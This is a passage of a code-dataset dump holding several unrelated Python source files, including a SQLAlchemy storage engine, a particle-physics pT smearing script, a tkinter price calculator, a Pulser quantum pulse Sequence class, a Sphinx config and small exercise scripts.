\"\"\"add the object to database\"\"\"\n self.__session.add(obj)\n\n def save(self):\n \"\"\"commit changes to database\"\"\"\n self.__session.commit()\n\n def delete(self, obj=None):\n \"\"\"delete given object from db\"\"\"\n if obj is not None:\n self.__session.delete(obj)\n else:\n pass\n\n def reload(self):\n \"\"\"reload the database\"\"\"\n Base.metadata.create_all(bind=self.__engine)\n session_factory = sessionmaker(bind=self.__engine,\n expire_on_commit=False)\n Session = scoped_session(session_factory)\n self.__session = Session()\n\n def close(self):\n \"\"\" Dispose the scoped session.\n First call self.__session.close() in order to release\n any connection owned by self.__session and then\n discards the session itself.\n \"\"\"\n self.__session.close()\n","sub_path":"models/engine/db_storage.py","file_name":"db_storage.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"605271676","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom uproot3_methods import TLorentzVectorArray\nfrom consistent_plots import hist\nfrom logger import info\n\ndef f_Gauss(pt):\n return np.random.normal(0,0.1,len(pt))\n\nex_loc = 'Gen_Inputs/'\nex_file = 'nn_input_MX700_MY400_class.npz'\nexamples = np.load(ex_loc + ex_file)\n\nX = np.vstack((examples['x'], examples['x'], examples['x']))\ny = np.vstack((examples['y'], examples['y'], examples['y'])) \nmjj = np.vstack((examples['m'], examples['m'], examples['m']))\n\npt1 = X[:,0]\neta1 = X[:,1]\nphi1 = X[:,2]\npt2 = X[:,3]\neta2 = X[:,4]\nphi2 = X[:,5]\n\nm1 = np.zeros_like(pt1)\nm2 = np.zeros_like(pt2)\n\npt1_smeared = (1+f_Gauss(pt1))*pt1\npt2_smeared = (1+f_Gauss(pt2))*pt2\n\nb1_p4 = TLorentzVectorArray.from_ptetaphim(pt1_smeared, eta1, phi1, m1)\nb2_p4 = TLorentzVectorArray.from_ptetaphim(pt2_smeared, eta2, phi2, m2)\n\ntotal_p4 = b1_p4 + b2_p4\nnew_mjj = total_p4.mass\n\nratio1 = pt1_smeared / pt1\nratio2 = pt2_smeared / pt2\n\nfig, axs = plt.subplots(nrows=2, ncols=1)\n\nax = axs[0]\nax.set_title(r\"jet$_1$ $p_T^\\mathrm{smeared}/p_T^\\mathrm{gen}$\")\nax.hist(ratio1, bins=np.linspace(0,2,50), histtype='step', align='mid', label=r'jet$_1$')\nax = axs[1]\nax.set_title(r\"jet$_2$ $p_T^\\mathrm{smeared}/p_T^\\mathrm{gen}$\")\nax.hist(ratio2, bins=np.linspace(0,2,50), histtype='step', align='mid', label=r'jet$_2$')\n\nfig.savefig(\"smeared_pt.pdf\")\n\n\nfig, axs = plt.subplots(nrows=2, ncols=1)\n\nax = axs[0]\nax.set_title(r\"$m_{bb}$\")\nhist(ax, mjj, bins=np.linspace(100,150,50))\nax = axs[1]\nax.set_title(r\"smeared $m_{bb}$\")\nhist(ax, new_mjj, bins=np.linspace(100,150,50))\ninfo(\"Saving mass plot!\")\nfig.savefig(\"smeared_mass.pdf\")\n\npt1_smeared = pt1_smeared[:,np.newaxis]\npt2_smeared = pt2_smeared[:,np.newaxis]\nx = np.hstack(( pt1_smeared, X[:,1:3], pt2_smeared, X[:,4:] ))\n\n\nassert(np.array_equal(x[:,1:3], X[:,1:3]))\nassert(np.array_equal(x[:,4:], X[:,4:]))\nassert(not np.array_equal(x[:,0], X[:,0]))\nassert(not np.array_equal(x[:,3], X[:,3]))\n\n# np.savez('Gen_Inputs/nn_input_MX700_MY400_class_smeared.npz', x=x, y=y, mjj=new_mjj, extra_bkgd_x=extra_bkgd_x, extra_bkgd_y=extra_bkgd_y, extra_bkgd_mjj=extra_bkgd_mjj, params=params)\nnp.savez('Gen_Inputs/nn_input_MX700_MY400_class_smeared.npz', x=x, y=y, mjj=new_mjj, params=params)","sub_path":"inputs/smearing/smear_pt.py","file_name":"smear_pt.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"178262020","text":"import tkinter as tk\nfrom functools import partial\n\n#this is the main in which the program logic is calculated\ndef call_result(mil, comp, reg):\n #if the mileage is more than 1200, the price will increase by $20,000, else the price will increase by $10,000\n if(int(mil.get())>=1200):\n cr1=20000\n else:\n cr1=10000\n #if the company of the car is Mercedes, Ford or Porsche, the price will increase by $50,000, else the price will increase by $30,000\n if(comp.get()==\"Mercedes\" or comp.get()==\"Ford\" or comp.get()==\"Porsche\"):\n cr2=50000\n else:\n cr2=30000\n #if the registration is older than 10 years, the price will increase by $10,000, else the price will increase by $20,000\n if(int(reg.get())>10):\n cr3=10000\n else:\n cr3=20000\n #The total price is the sum of the above 3 critereas and the base price of $40,000\n result=40000+int(cr1)+int(cr2)+int(cr3)\n resultLabel.config(text=\"Final Price is %d\" %result)\n return\n\nroot=tk.Tk()\nroot.geometry('400x200+100+200')\nroot.title('Second Hand Car Price Calculator')\n\nm=tk.StringVar()\nc=tk.StringVar()\nr=tk.StringVar()\n\nmileageLabel=tk.Label(root, text=\"Mileage\")\nmileageLabel.grid(row=0, column=0)\n\nmileageEntry=tk.Entry(root, textvariable=m)\nmileageEntry.grid(row=0, column=2)\n\ncompanyLabel=tk.Label(root, text=\"Company\")\ncompanyLabel.grid(row=1, column=0)\n\ncompanyEntry=tk.Entry(root, textvariable=c)\ncompanyEntry.grid(row=1, column=2)\n\nregistrationLabel=tk.Label(root, text=\"Registration\")\nregistrationLabel.grid(row=2, column=0)\n\nregistrationEntry=tk.Entry(root, textvariable=r)\nregistrationEntry.grid(row=2, column=2)\n\nresultLabel=tk.Label(root)\nresultLabel.grid(row=4, column=2)\n\ncall_result=partial(call_result, m, c, r)\nbuttonCal=tk.Button(root, text=\"Calculate\", command=call_result)\nbuttonCal.grid(row=4, column=0)\n\nroot.mainloop()","sub_path":"PriceCal.py","file_name":"PriceCal.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"263549191","text":"import re\n\n\ndef sum_of_digits(digits):\n digits = map(int, str(digits))\n return sum(digits)\n\n\ndef to_digits(n):\n digits = map(int, str(n))\n return (list(digits))\n\n\ndef fib_number(n):\n result = ''\n def fibo(n, result={}):\n if n <= 1:\n result[n] = 1\n return 1\n elif n in result:\n return result[n]\n else:\n f = fibo(n - 1, result) + fibo(n - 2, result)\n result[n] = f\n return f\n\n for i in range(0, n):\n result = result + str(fibo(i))\n\n return result\n\n\ndef palindrome(n):\n n = str(n)\n # list= to_digits(n)\n read_backward = n[::-1]\n if n == read_backward:\n return True\n else:\n return False\n\n\ndef count_vowels(str):\n vowels = re.compile('[aeiouy]', re.IGNORECASE)\n return len(vowels.findall(str))\n\n\ndef count_consonants(str):\n consonants = re.compile('[bcdfghjklmnpqrstvwxz]', re.IGNORECASE)\n return len(consonants.findall(str))\n\n\ndef char_histogram(string):\n neddle = set(string)\n needle = ''.join(map(str, set(needle)))\n result = {}\n for char in needle:\n result[char] = 0\n for i in string:\n if char == i:\n result[char] += 1\n return result\n","sub_path":"week01/firstday.py","file_name":"firstday.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"156666793","text":"from django.test.testcases import TestCase\nfrom 搜揣.加入排序特徵 import 加入排序特徵\n\n\nclass 加入排序特徵試驗(TestCase):\n # 回傳值為搜揣查加句資料,閣加上排好的分詞陣列\n #\n # 2018/1/24 在取得文章資料時已經有轉小寫了\n # def test加入的分詞不分大小寫(self):\n #\n def setUp(self):\n # 預設的排列方式\n # 正:對揣著詞的正爿先排\n # 倒:對揣著詞的倒爿先排\n self.排列 = '正'\n\n def tearDown(self):\n 結果 = 加入排序特徵(self.原本搜揣查加句資料, self.排列)\n self.assertEqual(結果[0]['三段'], self.三段結果)\n\n def test_句拆三段陣列(self):\n self.原本搜揣查加句資料 = [\n {\n '頭詞號': 1,\n '尾詞號': 1,\n '分詞': ['是|si7', '媠|sui2', '姑-娘|koo1-niu5'],\n },\n ]\n self.三段結果 = [['媠|sui2'], ['姑-娘|koo1-niu5'], ['是|si7']]\n\n def test_詞號跨兩个詞(self):\n self.原本搜揣查加句資料 = [\n {\n '頭詞號': 0,\n '尾詞號': 1,\n '分詞': ['媠-媠|sui2-sui2', '姑-娘|koo1-niu5'],\n },\n ]\n self.三段結果 = [['媠-媠|sui2-sui2', '姑-娘|koo1-niu5'], [], []]\n\n def test_倒爿排列(self):\n self.排列 = '倒'\n self.原本搜揣查加句資料 = [\n {\n '頭詞號': 2,\n '尾詞號': 2,\n '分詞': ['是|si7', '媠|sui2', '姑-娘|koo1-niu5'],\n },\n ]\n self.三段結果 = [['姑-娘|koo1-niu5', ], ['媠|sui2', '是|si7'], [], ]\n","sub_path":"試驗/搜揣/test加入排序特徵試驗.py","file_name":"test加入排序特徵試驗.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"586506766","text":"project = u'PufferPanel'\ncopyright = u'2020 under the Apache 2 license'\nauthor = u''\n\n# The short X.Y version\nversion = u''\n# The full version, including alpha/beta/rc tags\nrelease = u'2.x'\n\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\n# needs_sphinx = '1.0'\n\nextensions = ['sphinx_tabs.tabs']\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = []\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = None\n\nhtml_theme = 'sphinx_rtd_theme'\nhtml_static_path = ['_static']\nhtml_css_files = ['css/custom.css']\nhtml_logo = '_static/logo.png'\nhtml_favicon = '_static/favicon.png'\nhtml_theme_options = {\n 'logo_only': True,\n 'display_version': False,\n 'style_external_links': True\n}\n\nhtmlhelp_basename = 'PufferPaneldoc'\n\n\nlatex_elements = {\n # The paper size ('letterpaper' or 'a4paper').\n #\n # 'papersize': 'letterpaper',\n\n # The font size ('10pt', '11pt' or '12pt').\n #\n # 'pointsize': '10pt',\n\n # Additional stuff for the LaTeX preamble.\n #\n # 'preamble': '',\n\n # Latex figure (float) alignment\n #\n # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n (master_doc, 'PufferPanel.tex', u'PufferPanel Documentation',\n u'', 'manual'),\n]\n\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'pufferpanel', u'PufferPanel Documentation',\n [author], 1)\n]\n\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'PufferPanel', u'PufferPanel Documentation',\n author, 'PufferPanel', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n\n# Bibliographic Dublin Core info.\nepub_title = project\n\n# The unique identifier of the text. This can be a ISBN number\n# or the project homepage.\n#\n# epub_identifier = ''\n\n# A unique identification for the text.\n#\n# epub_uid = ''\n\nepub_exclude_files = ['search.html']\n","sub_path":"source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"636880041","text":"def display(lista):\n print()\n print(\"Tasks: \")\n print(lista)\n\ndef undo(lista,redolista):\n if not lista:\n print('Nothing list')\n return\n lastlista = lista.pop()\n redolista.append(lastlista)\n\ndef redo(lista,redolista):\n if not lista:\n print('Nothing list')\n return\n lastlista = redolista.pop()\n lista.append(lastlista)\n\ndef add(option,lista):\n lista.append(option)\n\n\nif __name__ == '__main__':\n\n lista=[]\n redolista=[]\n\n while True:\n option=input('Enter your list\\n|1-Undo , 2-redo , 3-print list| \\n')\n if option == 'print':\n display(lista)\n continue\n elif option == 'undo':\n undo(lista,redolista)\n continue\n elif option == 'redo':\n redo(lista,redolista)\n continue\n\n add(option,lista)","sub_path":"Curso python/Cursopy/undo_and_redo.py","file_name":"undo_and_redo.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"608998883","text":"# Copyright 2020 Pulser Development Team\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom collections import namedtuple\nfrom collections.abc import Iterable\nimport copy\nimport warnings\n\nimport numpy as np\n\nimport pulser\nfrom pulser.pulse import Pulse\nfrom pulser.devices import MockDevice\nfrom pulser._seq_drawer import draw_sequence\nfrom pulser.utils import validate_duration\n\n# Auxiliary class to store the information in the schedule\n_TimeSlot = namedtuple('_TimeSlot', ['type', 'ti', 'tf', 'targets'])\n\n\nclass Sequence:\n \"\"\"A sequence of operations on a device.\n\n A sequence is composed by\n\n - The device in which we want to implement it\n - The register of qubits on which to act\n - The device's channels that are used\n - The schedule of operations on each channel\n\n Args:\n register(Register): The atom register on which to apply the pulses.\n device(PasqalDevice): A valid device in which to execute the Sequence\n (import it from ``pulser.devices``).\n \"\"\"\n def __init__(self, register, device):\n \"\"\"Initializes a new pulse sequence.\"\"\"\n cond1 = device not in pulser.devices._valid_devices\n cond2 = device != MockDevice\n if cond1 and cond2:\n names = [d.name for d in pulser.devices._valid_devices]\n error_msg = (\"The Sequence's device has to be imported from \"\n + \"pasqal.devices. Choose 'MockDevice' or between the\"\n + \" following real devices:\\n\" + \"\\n\".join(names))\n raise ValueError(error_msg)\n # Checks if register is compatible with the device\n device.validate_register(register)\n\n self._register = register\n self._device = device\n self._channels = {}\n self._schedule = {}\n self._phase_ref = {} # The phase reference of each channel\n # Stores the ids of selected channels and their declared names\n self._taken_channels = {}\n self._qids = set(self.qubit_info.keys()) # IDs of all qubits in device\n self._last_used = {} # Last time each qubit was used, by basis\n self._last_target = {} # Last time a target happened, by channel\n\n @property\n def qubit_info(self):\n \"\"\"Dictionary with the qubit's IDs and positions.\"\"\"\n return self._register.qubits\n\n @property\n def declared_channels(self):\n \"\"\"Channels declared in this Sequence.\"\"\"\n return dict(self._channels)\n\n @property\n def available_channels(self):\n \"\"\"Channels still available for declaration.\"\"\"\n return {id: ch for id, ch in self._device.channels.items()\n if id not in self._taken_channels\n or self._device == MockDevice}\n\n def current_phase_ref(self, qubit, basis='digital'):\n \"\"\"Current phase reference of a specific qubit for a given basis.\n\n Args:\n qubit (str): The id of the qubit whose phase shift is desired.\n\n Keyword args:\n basis (str): The basis (i.e. electronic transition) the phase\n reference is associated with. Must correspond to the basis of a\n declared channel.\n\n Returns:\n float: Current phase reference of 'qubit' in 'basis'.\n\n \"\"\"\n if qubit not in self._qids:\n raise ValueError(\"'qubit' must be the id of a qubit declared in \"\n \"this sequence's device.\")\n\n if basis not in self._phase_ref:\n raise ValueError(\"No declared channel targets the given 'basis'.\")\n\n return self._phase_ref[basis][qubit].last_phase\n\n def declare_channel(self, name, channel_id, initial_target=None):\n \"\"\"Declares a new channel to the Sequence.\n\n Args:\n name (str): Unique name for the channel in the sequence.\n channel_id (str): How the channel is identified in the device.\n Consult ``Sequence.available_channels`` to see which channel\n ID's are still available and the associated channel's\n description.\n\n Keyword Args:\n initial_target (set, default=None): For 'Local' adressing channels\n only. Declares the initial target of the channel. If left as\n None, the initial target will have to be set manually as the\n first addition to this channel.\n \"\"\"\n\n if name in self._channels:\n raise ValueError(\"The given name is already in use.\")\n\n if channel_id not in self._device.channels:\n raise ValueError(\"No channel %s in the device.\" % channel_id)\n\n if channel_id not in self.available_channels:\n raise ValueError(\"Channel %s is not available.\" % channel_id)\n\n ch = self._device.channels[channel_id]\n self._channels[name] = ch\n self._taken_channels[channel_id] = name\n self._schedule[name] = []\n self._last_target[name] = 0\n\n if ch.basis not in self._phase_ref:\n self._phase_ref[ch.basis] = {q: _PhaseTracker(0)\n for q in self._qids}\n self._last_used[ch.basis] = {q: 0 for q in self._qids}\n\n if ch.addressing == 'Global':\n self._add_to_schedule(name, _TimeSlot('target', -1, 0, self._qids))\n elif initial_target is not None:\n self.target(initial_target, name)\n\n def add(self, pulse, channel, protocol='min-delay'):\n \"\"\"Adds a pulse to a channel.\n\n Args:\n pulse (pulser.Pulse): The pulse object to add to the channel.\n channel (str): The channel's name provided when declared.\n\n Keyword Args:\n protocol (default='min-delay'): Stipulates how to deal with\n eventual conflicts with other channels, specifically in terms\n of having to channels act on the same target simultaneously.\n\n - 'min-delay'\n Before adding the pulse, introduces the smallest\n possible delay that avoids all exisiting conflicts.\n - 'no-delay'\n Adds the pulse to the channel, regardless of\n existing conflicts.\n - 'wait-for-all'\n Before adding the pulse, adds a delay that\n idles the channel until the end of the other channels'\n latest pulse.\n \"\"\"\n\n last = self._last(channel)\n self._validate_pulse(pulse, channel)\n\n valid_protocols = ['min-delay', 'no-delay', 'wait-for-all']\n if protocol not in valid_protocols:\n raise ValueError(f\"Invalid protocol '{protocol}', only accepts \"\n \"protocols: \" + \", \".join(valid_protocols))\n\n t0 = last.tf # Preliminary ti\n basis = self._channels[channel].basis\n phase_barriers = [self._phase_ref[basis][q].last_time\n for q in last.targets]\n current_max_t = max(t0, *phase_barriers)\n if protocol != 'no-delay':\n for ch, seq in self._schedule.items():\n if ch == channel:\n continue\n for op in self._schedule[ch][::-1]:\n if op.tf <= current_max_t:\n break\n if not isinstance(op.type, Pulse):\n continue\n if op.targets & last.targets or protocol == 'wait-for-all':\n current_max_t = op.tf\n break\n ti = current_max_t\n tf = ti + pulse.duration\n if ti > t0:\n self.delay(ti-t0, channel)\n\n prs = {self._phase_ref[basis][q].last_phase for q in last.targets}\n if len(prs) != 1:\n raise ValueError(\"Cannot do a multiple-target pulse on qubits \"\n \"with different phase references for the same \"\n \"basis.\")\n else:\n phase_ref = prs.pop()\n\n if phase_ref != 0:\n # Has to copy to keep the original pulse intact\n pulse = copy.deepcopy(pulse)\n pulse.phase = (pulse.phase + phase_ref) % (2 * np.pi)\n\n self._add_to_schedule(channel, _TimeSlot(pulse, ti, tf, last.targets))\n\n for q in last.targets:\n if self._last_used[basis][q] < tf:\n self._last_used[basis][q] = tf\n\n if pulse.post_phase_shift:\n self.phase_shift(pulse.post_phase_shift, *last.targets,\n basis=basis)\n\n def target(self, qubits, channel):\n \"\"\"Changes the target qubit of a 'Local' channel.\n\n Args:\n qubits (hashable, iterable): The new target for this channel. Must\n correspond to a qubit ID in device or an iterable of qubit IDs,\n when multi-qubit adressing is possible.\n channel (str): The channel's name provided when declared. Must be\n a channel with 'Local' addressing.\n \"\"\"\n\n if channel not in self._channels:\n raise ValueError(\"Use the name of a declared channel.\")\n\n if isinstance(qubits, Iterable) and not isinstance(qubits, str):\n qs = set(qubits)\n else:\n qs = {qubits}\n\n if not qs.issubset(self._qids):\n raise ValueError(\"The given qubits have to belong to the device.\")\n\n if self._channels[channel].addressing != 'Local':\n raise ValueError(\"Can only choose target of 'Local' channels.\")\n elif len(qs) > self._channels[channel].max_targets:\n raise ValueError(\n \"This channel can target at most \"\n f\"{self._channels[channel].max_targets} qubits at a time\"\n )\n\n basis = self._channels[channel].basis\n phase_refs = {self._phase_ref[basis][q].last_phase for q in qs}\n if len(phase_refs) != 1:\n raise ValueError(\"Cannot target multiple qubits with different \"\n \"phase references for the same basis.\")\n\n try:\n last = self._last(channel)\n if last.targets == qs:\n warnings.warn(\"The provided qubits are already the target. \"\n \"Skipping this target instruction.\")\n return\n ti = last.tf\n retarget = self._channels[channel].retarget_time\n elapsed = ti - self._last_target[channel]\n delta = np.clip(retarget - elapsed, 0, retarget)\n if delta != 0:\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n delta = validate_duration(np.clip(delta, 16, np.inf))\n tf = ti + delta\n\n except ValueError:\n ti = -1\n tf = 0\n\n self._last_target[channel] = tf\n self._add_to_schedule(channel, _TimeSlot('target', ti, tf, qs))\n\n def delay(self, duration, channel):\n \"\"\"Idles a given channel for a specific duration.\n\n Args:\n duration (int): Time to delay (in multiples of 4 ns).\n channel (str): The channel's name provided when declared.\n \"\"\"\n last = self._last(channel)\n ti = last.tf\n tf = ti + validate_duration(duration)\n self._add_to_schedule(channel,\n _TimeSlot('delay', ti, tf, last.targets))\n\n def measure(self, basis='ground-rydberg'):\n \"\"\"Measures in a valid basis.\n\n Args:\n basis (str): Valid basis for measurement (consult the\n 'supported_bases' attribute of the selected device for\n the available options).\n \"\"\"\n available = self._device.supported_bases\n if basis not in available:\n raise ValueError(f\"The basis '{basis}' is not supported by the \"\n \"selected device. The available options are: \"\n + \", \".join(list(available)))\n\n if hasattr(self, '_measurement'):\n raise SystemError(\"The sequence has already been measured.\")\n\n self._measurement = basis\n\n def phase_shift(self, phi, *targets, basis='digital'):\n r\"\"\"Shifts the phase of a qubit's reference by 'phi', for a given basis.\n\n This is equivalent to an :math:`R_z(\\phi)` gate (i.e. a rotation of the\n target qubit's state by an angle :math:`\\phi` around the z-axis of the\n Bloch sphere).\n\n Args:\n phi (float): The intended phase shift (in rads).\n targets: The ids of the qubits on which to apply the phase\n shift.\n\n Keyword Args:\n basis(str): The basis (i.e. electronic transition) to associate\n the phase shift to. Must correspond to the basis of a declared\n channel.\n \"\"\"\n if phi % (2*np.pi) == 0:\n warnings.warn(\"A phase shift of 0 is meaningless, \"\n \"it will be ommited.\")\n return\n if not set(targets) <= self._qids:\n raise ValueError(\"All given targets have to be qubit ids declared\"\n \" in this sequence's device.\")\n\n if basis not in self._phase_ref:\n raise ValueError(\"No declared channel targets the given 'basis'.\")\n\n for q in targets:\n t = self._last_used[basis][q]\n new_phase = self._phase_ref[basis][q].last_phase + phi\n self._phase_ref[basis][q][t] = new_phase\n\n def align(self, *channels):\n \"\"\"Aligns multiple channels in time.\n\n Introduces delays that align the provided channels with the one that\n finished the latest, such that the next action added to any of them\n will start right after the latest channel has finished.\n\n Args:\n channels (str): The names of the channels to align, as given upon\n declaration.\n \"\"\"\n\n ch_set = set(channels)\n # channels have to be a subset of the declared channels\n if not ch_set <= set(self._channels):\n raise ValueError(\"All channel names must correspond to declared\"\n \" channels.\")\n if len(channels) != len(ch_set):\n raise ValueError(\"The same channel was provided more than once.\")\n\n if len(channels) < 2:\n raise ValueError(\"Needs at least two channels for alignment.\")\n\n last_ts = {id: self._last(id).tf for id in channels}\n tf = max(last_ts.values())\n\n for id in channels:\n delta = tf - last_ts[id]\n if delta > 0:\n self.delay(delta, id)\n\n def draw(self):\n \"\"\"Draws the sequence in its current sequence.\"\"\"\n draw_sequence(self)\n\n def __str__(self):\n full = \"\"\n pulse_line = \"t: {}->{} | {} | Targets: {}\\n\"\n target_line = \"t: {}->{} | Target: {} | Phase Reference: {}\\n\"\n delay_line = \"t: {}->{} | Delay \\n\"\n # phase_line = \"t: {} | Phase shift of: {:.3f} | Targets: {}\\n\"\n for ch, seq in self._schedule.items():\n basis = self._channels[ch].basis\n full += f\"Channel: {ch}\\n\"\n first_slot = True\n for ts in seq:\n if ts.type == 'delay':\n full += delay_line.format(ts.ti, ts.tf)\n continue\n\n tgts = list(ts.targets)\n tgt_txt = \", \".join([str(t) for t in tgts])\n if isinstance(ts.type, Pulse):\n full += pulse_line.format(ts.ti, ts.tf, ts.type, tgt_txt)\n elif ts.type == 'target':\n phase = self._phase_ref[basis][tgts[0]][ts.tf]\n if first_slot:\n full += (f\"t: 0 | Initial targets: {tgt_txt} | \" +\n f\"Phase Reference: {phase} \\n\")\n first_slot = False\n else:\n full += target_line.format(ts.ti, ts.tf, tgt_txt,\n phase)\n\n full += \"\\n\"\n\n if hasattr(self, \"_measurement\"):\n full += f\"Measured in basis: {self._measurement}\"\n\n return full\n\n def _add_to_schedule(self, channel, timeslot):\n if hasattr(self, \"_measurement\"):\n raise SystemError(\"The sequence has already been measured. \"\n \"Nothing more can be added.\")\n self._schedule[channel].append(timeslot)\n\n def _last(self, channel):\n \"\"\"Shortcut to last element in the channel's schedule.\"\"\"\n if channel not in self._schedule:\n raise ValueError(\"Use the name of a declared channel.\")\n try:\n return self._schedule[channel][-1]\n except IndexError:\n raise ValueError(\"The chosen channel has no target.\")\n\n def _validate_pulse(self, pulse, channel):\n if not isinstance(pulse, Pulse):\n raise TypeError(\"pulse input must be of type Pulse, not of type \"\n \"{}.\".format(type(pulse)))\n\n ch = self._channels[channel]\n if np.any(pulse.amplitude.samples > ch.max_amp):\n raise ValueError(\"The pulse's amplitude goes over the maximum \"\n \"value allowed for the chosen channel.\")\n if np.any(np.round(np.abs(pulse.detuning.samples),\n decimals=6) > ch.max_abs_detuning):\n raise ValueError(\"The pulse's detuning values go out of the range \"\n \"allowed for the chosen channel.\")\n\n\nclass _PhaseTracker:\n \"\"\"Tracks a phase reference over time.\"\"\"\n\n def __init__(self, initial_phase):\n self._times = [0]\n self._phases = [self._format(initial_phase)]\n\n @property\n def last_time(self):\n return self._times[-1]\n\n @property\n def last_phase(self):\n return self._phases[-1]\n\n def changes(self, ti, tf, time_scale=1):\n \"\"\"Changes in phases within ]ti, tf].\"\"\"\n start, end = np.searchsorted(\n self._times, (ti * time_scale, tf * time_scale), side='right')\n for i in range(start, end):\n change = self._phases[i] - self._phases[i-1]\n yield (self._times[i] / time_scale, change)\n\n def _format(self, phi):\n return phi % (2 * np.pi)\n\n def __setitem__(self, t, phi):\n phase = self._format(phi)\n if t in self._times:\n ind = self._times.index(t)\n self._phases[ind] = phase\n else:\n ind = np.searchsorted(self._times, t, side='right')\n self._times.insert(ind, t)\n self._phases.insert(ind, phase)\n\n def __getitem__(self, t):\n ind = np.searchsorted(self._times, t, side='right') - 1\n return self._phases[ind]\n","sub_path":"pulser/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":19293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"368013966","text":"# -*- coding:utf-8 -*-\nimport warnings\n\nfrom .spider_feeder import SpiderFeeder\nfrom .check_status import main\nfrom .start_project import start, create\nfrom .builder import run\n\nVERSION = '1.2.9'\n\nAUTHOR = \"cn\"\n\nAUTHOR_EMAIL = \"cnaafhvk@foxmail.com\"\n\nURL = \"https://www.github.com/ShichaoMa/structure_spider\"\n\n\ndef start_project():\n warnings.warn(\"start_project is deprecated, use structure-spider check instead. \",\n DeprecationWarning, 2)\n start()\n\n\ndef create_spider():\n warnings.warn(\"create_spider is deprecated, use structure-spider check instead. \",\n DeprecationWarning, 2)\n create()\n\n\ndef check():\n warnings.warn(\"check is deprecated, use structure-spider check instead. \",\n DeprecationWarning, 2)\n main()\n\n\ndef feed():\n warnings.warn(\"feed is deprecated, use structure-spider check instead. \",\n DeprecationWarning, 2)\n SpiderFeeder.parse_args().start()\n","sub_path":"structor/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"544812974","text":"#\n# Copyright (C) 2016 The Android Open Source Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"core.user_config module stubs.\"\"\"\n\n\nfrom core import user_config\n\n\nclass StubUserConfig(object):\n \"\"\"Stubs for our core.user_config module.\"\"\"\n\n EXPOSED = user_config.EXPOSED\n\n def __init__(self, metrics_opt_in='0', os_root='/path/to/os'):\n self.USER_CONFIG.metrics_opt_in = metrics_opt_in\n self.USER_CONFIG.os_root = os_root\n\n class UserConfig(object):\n def __init__(self, file_path='user_data.db', table='totally_private'):\n self.file_path = file_path\n self.table = table\n self.metrics_opt_in = '0'\n self.uid = 'user_id'\n self.bsp_dir = '/somewhere/bsps'\n self.platform_cache = '/elsewhere/pc'\n self.is_complete = True\n self.os_root = '/where/the/tree/is'\n\n def complete(self):\n return self.is_complete\n\n USER_CONFIG = UserConfig()\n","sub_path":"cli/lib/core/user_config_stub.py","file_name":"user_config_stub.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"101342387","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 16 09:42:16 2018\n\n@author: Harrison\n\"\"\"\n\nimport OptionCalc.Guosen_OTC_Option_RT.GetDataMySQL as GetDataMySQL\nimport OptionCalc.Guosen_OTC_Option_RT.TimeSeriesInterpolator as TimeSeriesInterpolator\nimport pandas as pd \nimport numpy as np\nfrom scipy.stats import norm\n\ndef BAspread(df,param_list):\n para = param_list\n buy_sell_para = df.copy()\n for each in para:\n 